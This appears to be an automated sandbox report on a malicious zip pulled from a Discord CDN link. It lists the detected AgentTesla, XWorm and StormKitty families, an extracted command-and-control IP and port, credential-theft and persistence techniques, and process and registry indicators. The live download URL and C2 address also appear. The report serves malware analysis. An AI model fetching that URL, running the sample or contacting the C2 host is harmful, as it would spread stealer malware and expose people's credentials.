agenttesla | hxxps://cdn[.]discordapp[.]com/attachments/1270264454394810408/1277635356874903675/Guna[.]UI2[.]zip?ex=66cde226&is=66cc90a6&hm=049b07351a3707b1f9fc6f2f69f9d8aac8242edc7fccdab28cf341b436be75f7&

Analysis

max time kernel
174s
max time network
186s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26/08/2024, 15:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
https://cdn.discordapp.com/attachments/1270264454394810408/1277635356874903675/Guna.UI2.zip?ex=66cde226&is=66cc90a6&hm=049b07351a3707b1f9fc6f2f69f9d8aac8242edc7fccdab28cf341b436be75f7&
Sample240826-ss3cws1bpb

Score

10^/10

agenttesla stormkitty xenarmor xworm collection credential_access discovery execution keylogger password persistence rat recovery spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

Version

147.185.221.21:56936

Mutex

n0N6IPW0T59PHntz

Attributes

Install_directory
%LocalAppData%
install_file
Windows Host Proccess.exe

aes.plain

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2040-975-0x0000000006170000-0x0000000006182000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/2040-1353-0x000000000C090000-0x000000000C1AE000-memory.dmp	family_stormkitty

XenArmor Suite
XenArmor is as suite of password recovery tools for various application.
recovery password xenarmor
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral1/memory/916-991-0x0000000005C80000-0x0000000005E94000-memory.dmp	family_agenttesla

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 4 IoCs

flow	pid	Process
218	2040	powershell.exe
223	2040	powershell.exe
235	2040	powershell.exe
237	2040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3628	powershell.exe
5716	powershell.exe
2040	powershell.exe
436	powershell.exe
5788	powershell.exe
6008	powershell.exe
4604	powershell.exe

ACProtect 1.3x - 1.4x DLL software 5 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0008000000023652-1176.dat	acprotect
behavioral1/files/0x000b00000002364f-1171.dat	acprotect
behavioral1/files/0x0008000000023648-1166.dat	acprotect
behavioral1/files/0x0008000000023647-1161.dat	acprotect
behavioral1/files/0x0008000000023645-1156.dat	acprotect

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Host Proccess.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Host Proccess.lnk	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
916	GorillaExecutor.exe
1244	Windows Host Proccess
2820	All-In-One.exe

Loads dropped DLL 1 IoCs

pid	Process
2820	All-In-One.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000023652-1176.dat	upx
behavioral1/files/0x000b00000002364f-1171.dat	upx
behavioral1/files/0x0008000000023648-1166.dat	upx
behavioral1/files/0x0008000000023647-1161.dat	upx
behavioral1/files/0x0008000000023645-1156.dat	upx

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	All-In-One.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Host Proccess = "C:\\Users\\Admin\\AppData\\Local\\Windows Host Proccess"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
217	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5352	2040	WerFault.exe	153

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	All-In-One.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GorillaExecutor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GorillaExecutor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Windows Host Proccess

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	GorillaExecutor.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	GorillaExecutor.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	GorillaExecutor.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1194130065-3471212556-1656947724-1000\{65B28EB8-96E3-463A-A376-536C2CA6593D}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Moniker = "cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5984	schtasks.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
2568	msedge.exe
2568	msedge.exe
3408	msedge.exe
3408	msedge.exe
4272	identity_helper.exe
4272	identity_helper.exe
448	msedge.exe
448	msedge.exe
2056	msedge.exe
3572	msedge.exe
3572	msedge.exe
3628	powershell.exe
3628	powershell.exe
3628	powershell.exe
5716	powershell.exe
5716	powershell.exe
5716	powershell.exe
2040	powershell.exe
2040	powershell.exe
2040	powershell.exe
6008	powershell.exe
6008	powershell.exe
6008	powershell.exe
4604	powershell.exe
4604	powershell.exe
4604	powershell.exe
436	powershell.exe
436	powershell.exe
436	powershell.exe
5788	powershell.exe
5788	powershell.exe
5788	powershell.exe
2040	powershell.exe
1244	Windows Host Proccess
1244	Windows Host Proccess
1244	Windows Host Proccess
5984	msedge.exe
5984	msedge.exe
5984	msedge.exe
5984	msedge.exe
2820	All-In-One.exe
2820	All-In-One.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3628	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeIncreaseQuotaPrivilege	5716	powershell.exe
Token: SeSecurityPrivilege	5716	powershell.exe
Token: SeTakeOwnershipPrivilege	5716	powershell.exe
Token: SeLoadDriverPrivilege	5716	powershell.exe
Token: SeSystemProfilePrivilege	5716	powershell.exe
Token: SeSystemtimePrivilege	5716	powershell.exe
Token: SeProfSingleProcessPrivilege	5716	powershell.exe
Token: SeIncBasePriorityPrivilege	5716	powershell.exe
Token: SeCreatePagefilePrivilege	5716	powershell.exe
Token: SeBackupPrivilege	5716	powershell.exe
Token: SeRestorePrivilege	5716	powershell.exe
Token: SeShutdownPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeSystemEnvironmentPrivilege	5716	powershell.exe
Token: SeRemoteShutdownPrivilege	5716	powershell.exe
Token: SeUndockPrivilege	5716	powershell.exe
Token: SeManageVolumePrivilege	5716	powershell.exe
Token: 33	5716	powershell.exe
Token: 34	5716	powershell.exe
Token: 35	5716	powershell.exe
Token: 36	5716	powershell.exe
Token: SeIncreaseQuotaPrivilege	5716	powershell.exe
Token: SeSecurityPrivilege	5716	powershell.exe
Token: SeTakeOwnershipPrivilege	5716	powershell.exe
Token: SeLoadDriverPrivilege	5716	powershell.exe
Token: SeSystemProfilePrivilege	5716	powershell.exe
Token: SeSystemtimePrivilege	5716	powershell.exe
Token: SeProfSingleProcessPrivilege	5716	powershell.exe
Token: SeIncBasePriorityPrivilege	5716	powershell.exe
Token: SeCreatePagefilePrivilege	5716	powershell.exe
Token: SeBackupPrivilege	5716	powershell.exe
Token: SeRestorePrivilege	5716	powershell.exe
Token: SeShutdownPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeSystemEnvironmentPrivilege	5716	powershell.exe
Token: SeRemoteShutdownPrivilege	5716	powershell.exe
Token: SeUndockPrivilege	5716	powershell.exe
Token: SeManageVolumePrivilege	5716	powershell.exe
Token: 33	5716	powershell.exe
Token: 34	5716	powershell.exe
Token: 35	5716	powershell.exe
Token: 36	5716	powershell.exe
Token: SeIncreaseQuotaPrivilege	5716	powershell.exe
Token: SeSecurityPrivilege	5716	powershell.exe
Token: SeTakeOwnershipPrivilege	5716	powershell.exe
Token: SeLoadDriverPrivilege	5716	powershell.exe
Token: SeSystemProfilePrivilege	5716	powershell.exe
Token: SeSystemtimePrivilege	5716	powershell.exe
Token: SeProfSingleProcessPrivilege	5716	powershell.exe
Token: SeIncBasePriorityPrivilege	5716	powershell.exe
Token: SeCreatePagefilePrivilege	5716	powershell.exe
Token: SeBackupPrivilege	5716	powershell.exe
Token: SeRestorePrivilege	5716	powershell.exe
Token: SeShutdownPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeSystemEnvironmentPrivilege	5716	powershell.exe
Token: SeRemoteShutdownPrivilege	5716	powershell.exe
Token: SeUndockPrivilege	5716	powershell.exe
Token: SeManageVolumePrivilege	5716	powershell.exe
Token: 33	5716	powershell.exe
Token: 34	5716	powershell.exe
Token: 35	5716	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
916	GorillaExecutor.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2040	powershell.exe
2820	All-In-One.exe
2820	All-In-One.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3408 wrote to memory of 4176	3408	msedge.exe	84
PID 3408 wrote to memory of 4176	3408	msedge.exe	84
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 2568	3408	msedge.exe	86
PID 3408 wrote to memory of 2568	3408	msedge.exe	86
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/1270264454394810408/1277635356874903675/Guna.UI2.zip?ex=66cde226&is=66cc90a6&hm=049b07351a3707b1f9fc6f2f69f9d8aac8242edc7fccdab28cf341b436be75f7&
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe5c9046f8,0x7ffe5c904708,0x7ffe5c904718
  2⤵
  PID:4176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
  2⤵
  PID:388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:8
  2⤵
  PID:4964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
  2⤵
  PID:3032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
  2⤵
  PID:4112
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
  2⤵
  PID:4648
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5484 /prefetch:1
  2⤵
  PID:3580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:1
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5720 /prefetch:8
  2⤵
  PID:4008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
  2⤵
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
  2⤵
  PID:4840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6068 /prefetch:1
  2⤵
  PID:1416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
  2⤵
  PID:5596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
